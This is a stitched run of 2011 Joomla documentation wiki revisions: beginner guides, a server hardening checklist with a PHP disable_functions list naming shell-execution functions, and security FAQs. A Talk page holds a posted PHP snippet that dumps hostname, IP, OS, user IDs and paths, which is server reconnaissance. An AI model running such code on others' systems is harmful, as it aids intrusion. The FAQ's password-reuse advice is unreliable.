:*Remember that Help is intended to contain all possible actions but does not necessarily explain the point of everything.

===On-line resources {{JVer|1.5}} and {{JVer|1.6}} ===

'''Joomla! on-line magazine''' with some helpful material, some aimed at beginners.
*http://magazine.joomla.org

The landing page for all '''Joomla! documentation'''.
*http://docs.joomla.org

'''The Joomla! Forum.''' It takes a bit of experience to get the best out of the Forums. If you are not very experienced, you will find a lot here that does not make sense and it is easy to get distracted. But many questions are well answered.
* http://forum.joomla.org

===Some on-line Joomla! documentation===
{{JVer|1.5}}
*[http://docs.joomla.org/Administrators Joomla! Administrator's Manual - on-line ] This will be comprehensive when it is complete.
*[http://help.joomla.org/ghop/feb2008/task048/joomla_15_quickstart.pdf Quick start guide ] This includes descriptions of the Back-end as part of installing and creating a Joomla! site. It is good and helpful.
* [http://community.joomla.org/august-2008/article/522-introductory-learning-joomla-using-sample-data.html Learning Joomla! using Sample Data] It has a short section on the Back-end but is also useful in exploring the Sample data in the localhost installation.

{{JVer|1.6}}

There are some - to be added

==Other documents in this series==

*[[Page_Index|List of documents for this series - version 1.5]]
*|List of documents for this series - version 1.6 - coming soon

Archived:Use an existing Joomla! site

2011-10-15T01:17:56Z

Cadrlp:

{{:GSheader}}
{{JVer|1.6}} The aim of this short introduction is to help you use a site that has already been set up so that you feel that you are not just using a mysterious back box. It is one of a series of documents introducing Joomla! version 1.6.

==Introduction==

===Who is it written for?===
:*Everyone
:*The main focus is on people who do not have much experience of using web sites.
You also need:-
:*to have access to a Joomla! site with an appropriate level of permission

Many people start to use a web site that has been set up using Joomla! You are especially likely to do this if you are going to be adding content to an existing site and do not expect to go further with managing the site.

You do need to know something about the site and where the Articles are located. This will vary a great deal from site to site, so (obviously!) cannot be covered here in detail.

===How to login===
You will need a username with the right permissions for what you are going to do, such as add and edit articles.

You will be given a username (sometimes called a login) to allow you to alter the content of a site. This shows you how to login once you have a username and password. The postioning of the Login Form can vary but many sites place this to the left of the screen beneath the menus.
*Open the site in your browser
{{:How to login16}}

=== Usernames and permissions to see and do things===
Permissions are sometimes referred to as 'access control'.

Joomla! allows content to be created and edited by visitors who login with a username with appropriate permissions.
:*The usernames are created, and the permissions defined, by the person who looks after the Web site, usually called the Administrator.

In Joomla! 1.6 there are a number of pre-defined groups relevant to adding and editing Articles in a Joomla! Web site. Some web sites have many more groups, allowing access to specific parts of the site for specific people. You will need to know which group you are in and what rights you have to view and edit articles.

Typical groups include:-
* '''Guests:''' Some website visitors never login and are just able to read the content. They may also be limited in the pages they can see.
*'''Registered users:''' Others can login but have 'read only' access to the site - in other words they cannot alter anything.
*'''Author or Editor:''' You may be given 'author' or 'editor' permissions, which normally allows you to edit and add Articles, but does not allow you to 'publish' them. Authors can usually only edit articles that they have created.
*'''Publisher:''' Publishing an article makes it visible to visitors to the web site. You may have some 'publisher' permissions, which allows you to publish articles, as well as adding and editing them.

==Where Next?==
Once you have logged in to the site, there is a hands-on document (part of this series) to introduce you to altering an Article.
*[[Hands-on editing an article: Joomla! 1.6|Hands-on how to begin to edit an Article.]]

This will help you to become familiar with editing in Joomla!

==Further information==

There are other levels of access for managing a site. Access Control in Joomla! 1.6 is more granular than in earlier versions. You would need to know about this for looking after or creating a site, but the full detail is not needed for simply editing and adding content.

*[[How permissions work in Joomla! 1.6 |Controlling user access to a Joomla! Site]]

==Index to other documents in this series==
{{:GSFooter/1.6}}

Archived:Use an existing Joomla! site

2011-10-15T01:17:27Z

Cadrlp: view edit history

{{:GSheader}}
{{JVer|1.6}} The aim of this short introduction is to help you use a site that has already been set up so that you feel that you are not just using a mysterious back box. It is one of a series of documents introducing Joomla! version 1.6.

==Introduction==

===Who is it written for?===
:*Everyone
:*The main focus is on people who do not have much experience of using web sites.
You also need:-
:*to have access to a Joomla! site with an appropriate level of permission

Many people start to use a web site that has been set up using Joomla! You are especially likely to do this if you are going to be adding content to an existing site and do not expect to go further with managing the site.

You do need to know something about the site and where the Articles are located. This will vary a great deal from site to site, so (obviously!) cannot be covered here in detail.

===How to login===
You will need a username with the right permissions for what you are going to do, such as add and edit articles.

You will be given a username (sometimes called a login) to allow you to alter the content of a site. This shows you how to login once you have a username and password. The postioning of the Login Form can vary but many sites place this to the left of the screen beneath the menus.
*Open the site in your browser
{{:How to login16}}

=== Usernames and permissions to see and do things===
Permissions are sometimes referred to as 'access control'.

Joomla! allows content to be created and edited by visitors who login with a username with appropriate permissions.
:*The usernames are created, and the permissions defined, by the person who looks after the Web site, usually called the Administrator.

In Joomla! 1.6 there are a number of pre-defined groups relevant to adding and editing Articles in a Joomla! Web site. Some web sites have many more groups, allowing access to specific parts of the site for specific people. You will need to know which group you are in and what rights you have to view and edit articles.

Typical groups include:-
* '''Guests:''' Some website visitors never login and are just able to read the content. They may also be limited in the pages they can see.
*'''Registered users:''' Others can login but have 'read only' access to the site - in other words they cannot alter anything.
*'''Author or Editor:''' You may be given 'author' or 'editor' permissions, which normally allows you to edit and add Articles, but does not allow you to 'publish' them. Authors can usually only edit articles that they have created.
*'''Publisher:''' Publishing an article makes it visible to visitors to the web site. You may have some 'publisher' permissions, which allows you to publish articles, as well as adding and editing them.

==Where Next?==
Once you have logged in to the site, there is a hands-on document (part of this series) to introduce you to altering an Article.
*[[Hands-on editing an article: Joomla! 1.6|Hands-on how to begin to edit an Article.]]

This will help you to become familiar with editing in Joomla!

==Further information==

There are other levels of access for managing a site. Access Control in Joomla! 1.6 is more granular than in earlier versions. You would need to know about this for looking after or creating a site, but the full detail is not needed for simply editing and adding content.
[[How permissions work in Joomla! 1.6 |Controlling user access to a Joomla! Site]]

==Index to other documents in this series==
{{:GSFooter/1.6}}

Category:Getting Started with Joomla! 1.6

2011-10-15T01:14:57Z

Cadrlp: get rid of the red links

Category:Getting Started with Joomla! 1.6

2011-10-15T01:14:39Z

Cadrlp: Created page with "zz"

Archived:Getting Started with Joomla!

2011-10-15T01:13:45Z

Cadrlp:

{{JVer|1.6}}{{JVer|1.7}}

This series of documents introduces Joomla! to people who have not previously used it. This introduction aims to help you make the best use of the series. This is the introduction to version 1.6+ . There is a separate series [[Getting Started with Joomla! 1.5| for using Joomla! version 1.5]]

==Background==

===Which versions are covered?===

There are two versions in common use:-
* Version 1.5 is well established and widely used, and will be supported till January 2012. See [[Getting Started with Joomla! 1.5]] for the corresponding series.
* Version 1.6 was released January 2011 and is not supported anymore.
* Version 1.7 was released July 2011.
There are many similarities between the versions but they are presented separately to newcomers to Joomla! in order to use 'hands-on' material.

===Who is it written for?===

The series is for anyone who wants to use Joomla! at a number of levels. Its main focus is:-
* on people with limited computing experience
* on using Joomla! for a small web site, such as a club or association or small business
but
* there are sections which will be useful to experienced designers and developers.

At the start of each article there is an indication of who it is aimed at and, on occasions, about the pitfalls for the inexperienced or unwary. 
[[GS/Readership|Some more detail about the intended readership]]

== Introduction to the Getting Started series ==

Joomla! is introduced using detailed 'hands-on' instructions about adding, altering and manipulating content. At the same time, general points about Joomla! are made which are intended to help people to learn more and do more. As the tasks require more background knowledge, so there are fewer hands-on instructions and more general pointers to the extensive documentation available for Joomla!

The series divides into four parts:-
:*'''Hands-on a Joomla! site:''' There is an initial section on how to get 'hands-on' a Joomla! site. This is followed by practical instructions about doing key tasks needed for adding, altering and manipulating content on an existing site.
:*'''Setting up a Joomla! site:''' This has background information about the design of a Joomla! Web site. There is a hands-on section on the mechanics of creating a new site using the core features that come with Joomla!
:*'''Looking after a Joomla! site:''' This is a brief introduction to the day-to-day adminstration of a Joomla! web Site.
:*'''Doing more and learning more:''' The final part links into other documentation and is intended as a guide ahead for taking Joomla! beyond the basics.

=== Hands-on a Joomla! site ===

You must have the use of a Joomla! Web site to use 'hands-on' instructions. There are several possibilites:-
:*[[Use an existing Joomla! 1.6 site| '''Use a site that has already been set up.''']] If you are going to be adding content to an existing site and do not have much computing experience this is a good option.
:* [[Use Joomla! on your own computer| '''Install a copy of Joomla! (with Sample Data) on your own computer.''']] This is sometimes referred to as a 'localhost' installation. Installing with Sample Data enables you to to explore a Joomla! site before you have created one for your own content. This is a good option for beginners.
:* [[Install_1.7| '''Install a copy of Joomla! (with Sample Data) on a Hosting server.''']] This is sometimes referred to as a 'remote host' installation. Installing with Sample Data enables you to to explore a Joomla! site before you have created one for your own content. This is a good option for beginners. [http://resources.joomla.org/directory/support-services/hosting.html]
:*'''Use the Demo on the Joomla! site.''' - Probably not doing this for version 1.6 Some example sites needed even if not interactive.

=== Hands-on adding and altering articles ===
Start here no matter what your previous experience. Articles are the building blocks of any Joomla! Web site and everyone needs to know the basics of how to edit and create them. And doing this helps you to understand the inner workings of Joomla!

:*[[Hands-on editing an article: Joomla! 1.6| '''How to edit an Article''']] - aimed at helping everyone to use the editor and understand what articles look like and where they are stored.
:*[[Hands-on adding a new article: Joomla! 1.6| '''How to create a new Article''']] - aimed at helping everyone to add a new article to a web site

===More about editing articles===
These are aimed at helping everyone who wants to learn more about articles and managing them from the main Site, also called the Front-end.
:*[[Add links to other pages: Joomla! 1.6|'''Hands-on adding links to other pages''']]
:*[[Add a table: Joomla! 1.6|'''Hands-on adding a table''']]
:*[[Add an image: Joomla! 1.6|'''Hands-on adding a picture''']]
:*[[How to split an Article 1.6|'''Hands-on splitting a long article''']]
====Managing content using the Front-end of Joomla!====
:*[[Manage articles using the Front-end of Joomla! 1.6|'''Manipulating and publishing Articles''' ]] using the Front-end

===Setting up a Joomla! site===
There is a distinction between the mechanics of setting up a new site and the things you need to know before you set up a site. There is often a trial and error process involved in doing this, with muddle and frustration as a result. The problem is that you cannot design a site without knowing some background: and it is often easiest to learn the background by using a site. So this series presents the background to understanding how Joomla! sites work separately from the mechanics of creating a site. It emphasises that some initial thought can save hassle later.
====Background - things you need to know====
These are hands-on documents to familiarise you with designing a new site. The background is separate so that the flow of creating the site is not interrupted by asides. The background is aimed at helping you to understand what is going on, whether you have a large or a small site.
:*[[Get to know the Administrator Back-end of Joomla! 1.6|'''Background: get to know the Back-end''']]
:*[[How permissions work in Joomla! 1.6|'''Background: controlling user access to a Joomla! Site''']]
:*[[Design the content: Categories in Joomla! 1.6|'''Background: design the content - Categories in Joomla! 1.6''']]
:*[[Design appearance using Menus and Modules: Joomla! 1.6|'''Background:design appearance using Menus and Modules''']]
:*[[Design appearance using default Templates: Joomla! 1.6|'''Background: design appearance using default Templates''']]

====The mechanics of setting up a new site====
This covers the mechanics of creating new content and appearance of a simple site, using core Joomla! facilities.
:*[[The mechanics of creating a Joomla! 1.6 web site|'''Doing it: hands-on setting up a Joomla! site''']]

===General administration of a Joomla! site===
The work is not done even when a site is set up and there are people adding and altering the content. There are some day-to-day tasks that need attention, as well as minor alterations to the site.
:*[[Start to manage a Joomla! 1.6 site|'''Getting Started with day-to-day Administration of a Joomla! site''']]

==Take Joomla! beyond the basics==
There is more to learn about Joomla.
:* '''Beyond the basics: doing more Jooomla!''' - this is not yet completed - it points to ways ahead.

:*[[References|'''Books, links and helpful resources''']]

==Index to the documents in this series==
{{:GSFooter/1.6}}

Talk:Extension types (technical definitions)

2011-10-15T01:12:46Z

Cadrlp: question

==Question==
The last thing this article says is "The user portion has no menu component, but is otherwise very similar to the admin portion." Okay, so how exactly does the user side work? Where is that specified? I wish there were a link to that in the article because that is the part I need to undrstand. I have gone through the MVC tutorial on writing a component, but this does virtually nothing. I want to know how to present an edit form to the user similar to what's on the admin side.
Do I really have to write a module for this?:by IslandBilly

Category:References

2011-09-28T23:19:09Z

Cadrlp: Blanked the page

Category:References

2011-09-28T23:19:02Z

Cadrlp: Created page with "."

Security Checklist/Hosting and Server Setup

2011-09-28T23:17:34Z

Cadrlp: view history

{{RightTOC}}
== Choose a Qualified Hosting Provider ==

===The most important decision===
: Probably no decision is more critical to site security than the choice of hosts and servers. However, due to the wide variety of hosting options and configurations, it's not possible to provide a complete list for all situations. Check this unbiased [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts]who fully meet the security requirements of a typical Joomla site. ([[Security_and_Performance_FAQs#How_do_I_choose_a_quality_hosting_provider.3F|FAQ]])

===Shared server risks===
: If you are on a tight budget and your site does not process highly confidential data, you can probably get by with a shared server, but you must understand the unavoidable risks. Most of the tips listed below are appropriate for securing sites on shared server environments.

===Avoid sloppy server configurations===
: For a real eye-opener, [http://www.nexen.net/articles/dossier/php_configuration_statitstics.php read this report] on thousands of sites that allowed Google to index the results of phpinfo(). Don't make this mistake on your site! The report includes alarming statistics on the percentage of sites that use deprecated settings such as register_globals ON or that don't have open_basedir set at all: By the way, if ''phpini'' and ''register_globals'' are unfamiliar terms you are probably not ready to securely manage your own site.

==Configuring Apache==

===Use Apache .htaccess===
''See also [[htaccess examples (security)|.htaccess examples]]''
: Block typical exploit attempts with local Apache ''.htaccess'' files. This option is not enabled on all servers. Check with your host if you run into problems. Using ''.htaccess'', you can password protect sensitive directories, such as administrator, restrict access to sensitive directories by IP Address, and depending on your server's configuration, you may be able to increase security by switching from PHP4 to PHP5.

: Joomla ships with a [[preconfigured .htaccess]] file, but *you* need to choose to use it. The file is called htaccess.txt. To use it, rename it to .htaccess and place it in the root of your site using FTP. One important point to note is that as the distributed file is called htaccess.txt and the live file on your site is called .htaccess, the file your site actually uses is NOT updated when you update your site to use to a new version of Joomla. You must manually make the changes to use the new file version. There are significant changes in the file distributed with 1.5.23 onwards and 1.6.2 onwards.

: Consider following the "Least Privilege" principle for running PHP using tools such as PHPsuExec, php_suexec or suPHP. (Note: These are advanced methods that require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.) </li>

===Use Apache mod_security===
: Configure Apache mod_security and mod_rewrite filters to block PHP attacks. See [http://www.google.com/search?q=apache%20mod_security Google search for mod_security] and [http://www.google.com/search?q=apache%20mod_rewrite Google search for mod_rewrite]. (Note: These are advanced methods that usually require agreement and coordination with your hosting provider. Such options are enabled or disabled on a server-wide basis and are not individually adjustable on shared servers.)

==Configuring MySQL==

===Secure the database===
: Be sure MySQL accounts are set with limited access. The initial install of MySQL is insecure and careful configuration is required. (See the [http://dev.mysql.com/doc/ MySQL Manuals]) Note: This item applies only to those administering their own servers, such as dedicated servers. Users of shared servers are dependent on their hosting provider to set proper database security.)

== Configuring PHP==

===Understand how PHP works===
: Understand how to work with the php.ini file, and how PHP configurations are controlled. Study the [http://us3.php.net/manual/en/ini.php#ini.list Official List of php.ini Directives] at http://www.php.net, and the well-documented default php.ini file included with every PHP install. Here is the [http://svn.php.net/viewvc/php/php-src/trunk/php.ini-production?view=co latest default php.ini file] on the official PHP site.

===Use PHP5===
PHP 4 is deprecated and has become obsolete. Some hosting providers still have both available on servers to support outdated scripts. Joomla requires PHP5. (See [http://www.joomla.org/technical-requirements.html/ Joomla Requirements])

===Use local php.ini files===
: On shared servers you can't edit the main php.ini file, but you may be able to add custom, local php.ini files. If so, you'll need to copy the php.ini files to every sub-directory that requires custom settings. Luckily a [http://tips-scripts.com/free set of scripts at B & T Scripts and Tips] can do the hard work for you.

: '''There are a few important things to keep in mind.'''

# Local ''php.ini'' files '''''only''''' have an effect if your server is configured to use them. This includes a ''php.ini'' file in your ''http_root'' directory. You can test whether or not these file affect your site by setting an obvious directive in the local ''php.ini'' file to see if it affects your site.
# Local ''php.ini'' files only affect ''.php'' files that are located within the same directory (or included() or required() from those files). This means that there are normally only two Joomla! directories in which you would want to place a ''php.ini'' file. They are your ''http_root''(your actual directory name may vary), which is where Joomla's Front-end ''index.php'' file is located, and the Joomla! ''administrator'' directory, which is where the Back-end administrator ''index.php'' file is located. Other directories that don't have files called via the Web do not need local ''php.ini'' files.
# If you have a ''php.ini'' file in every directory, some script probably did this for you. If you didn't intend it to happen, you probably should root them out, but given #2 above, you probably only have to panic about the ''php.ini'' files in ''http_root'' and the ''administrator'' directories.

===Use PHP disable_functions===
: Use ''disable_functions'' to disable dangerous PHP functions that are not needed by your site. Here is a typical setup for a Joomla! site:

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

===Consider Using PHP open_basedir===
: You ''might'' consider to enabled ''open_basedir''. This directive limits the files that can be opened by PHP to the specified directory-tree. This directive is NOT affected by whether Safe Mode is ON or OFF.

: The restriction specified with open_basedir is a prefix, not a directory name. This means that ''open_basedir = /dir/incl'' allows access to ''/dir/include'' and ''/dir/incls'' if they exist. To restrict access to only the specified directory, end with a slash. For more information, see [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode PHP Security and Safe Mode Configuration Directives].

open_basedir = /home/users/you/public_html

: Additionally, if ''open_basedir'' is set it may be necessary to set PHP ''upload_tmp_dir'' configuration directive to a path that falls within the scope of ''open_basedir'' or, alternatively, add the ''upload_tmp_dir'' path to ''open_basedir'' using the appropriate path separator for the host system.

open_basedir = /home/users/you/public_html:/tmp

: PHP will use the system's temporary directory when ''upload_tmp_dir'' is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to ''open_basedir'' as above to avoid uploading errors within Joomla.

===Adjust magic_quotes_gpc===
: Adjust the ''magic_quotes_gpc'' directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn ''magic_quotes_gpc'' off and avoid all poorly-written extensions, period.

: Joomla! 1.5 ignores this setting and works fine either way.
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or
[http://php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].

magic_quotes_gpc = 1

===Don't use PHP safe_mode===
: This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged. Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue. http://php.net/manual/en/features.safe-mode.php

safe_mode = 0

===Don't use PHP register_globals===
: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you're not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this 'feature'.

: If your site is on a shared server with a hosting provider that insists ''register_globals'' must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].

register_globals = 0

===Don't use PHP allow_url_fopen===

: Don't use PHP ''allow_url_fopen''. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.

allow_url_fopen = 0

==File permissions==
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code. If the files are owned by some other user than 'nobody' or 'wwwrun', the safest permissions are those which '''prevent''' changes to the joomla code, unless via an authorised channel (e.g. FTP):
*DocumentRoot directory: 750 (e.g. public_html)
*Files: 644
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)

With these permissions set, you will need to use FTP to update your Joomla installation. Not all modules support this. Remove modules which do not support FTP upgrades.
Other processes running under mod_php can read '''your''' configuration.php. You can frustrate automated hacks by renaming this file. You should not store your FTP password in your configuration file on such hosts, as your account ''will'' be compromised.

If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:
* DocumentRoot directory: 750 (e.g. public_html)
* PHP files: 600 (400 if you are truly paranoid)
* HTML and image files: 644 (444 if you are truly paranoid)
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)

==Setup a backup and recovery process==
===The most important rule:'===
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:

# A compromised/cracked site.
# Broken site due to a faulty upgrade.
# Hardware failure, such as dead hard drives, power failures, server theft, etc.
# Authoritarian government intervention. (More common than some think.)
# Needing to quickly relocate to a new server or hosting provider.

== Choose A Checklist==
# [[Security Checklist 1 - Getting Started|Getting Started]]
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]
# [[Security Checklist 3 - Testing and Development|Testing and Development]]
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]
# [[Security Checklist 5 - Site Administration|Site Administration]]
# [[Security Checklist 6 - Site Recovery|Site Recovery]]


[[Category:Security Checklist]]

Talk:Security and Performance FAQs

2011-09-26T23:03:15Z

Cadrlp: not sure if this is meant to be a patch?

==I"m not sure the proper way to post this==
I"m not sure the proper way to post this....
<?
echo "Hostname: ". @php_uname(n) .""." ";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`))." "; } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""." "; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) .""." ";
echo "Architecture: ". @php_uname(m) .""." ";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )"." ";
echo "Curent Path: ". getcwd () .""." ";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . ""." ";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . ""." ";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] .""." ";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] .""." ";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""." ";
?>
adding the at the end of each line cleans up the output greatly

Security and Performance FAQs

2011-09-26T23:01:32Z

Cadrlp: /* What are these strange (URL-Encoded) characters doing in my code? */ (class="wikitable")

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

* '''Grow with your site:''' As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) '''dedicated servers''' offer the best possible security and performance, but at the highest expense, 2) '''virtual servers''' offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.

==What are the best practices for site backups?==

: There are three traditional backup types--full, cumulative and differential.

'''Full Backups'''
: A complete backup of all associated files and database at a known point in time.

: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.

'''Cumulative Backups'''
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.

'''Incremental Backups'''
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.

: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.

: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.

: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night's backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.

: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially "over-filling" the file-system.

'''Data Protection Best Practice says'''

# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.
# A good backup practice is to store backups away from the current data location, preferably off site.
# Dynamic data should be backed up ''offline'' or ''hot'' to avoid ''fuzzy'' backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.

: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.

: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven't modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.

==Where can I learn about vulnerable extensions?==
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]

==Where can I learn more about file permissions?==

* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]

==How do I setup a powerful password scheme?==

'''Overview'''

: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.

'''Directions'''

* '''Level 5 (Public)''' - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it's more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!

* '''Level 4 (Webmaster)''' - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn't apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.

* '''Level 3 (Webmaster)''' - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn't matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!

* '''Level 2 (Personal Data Access)''' - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!
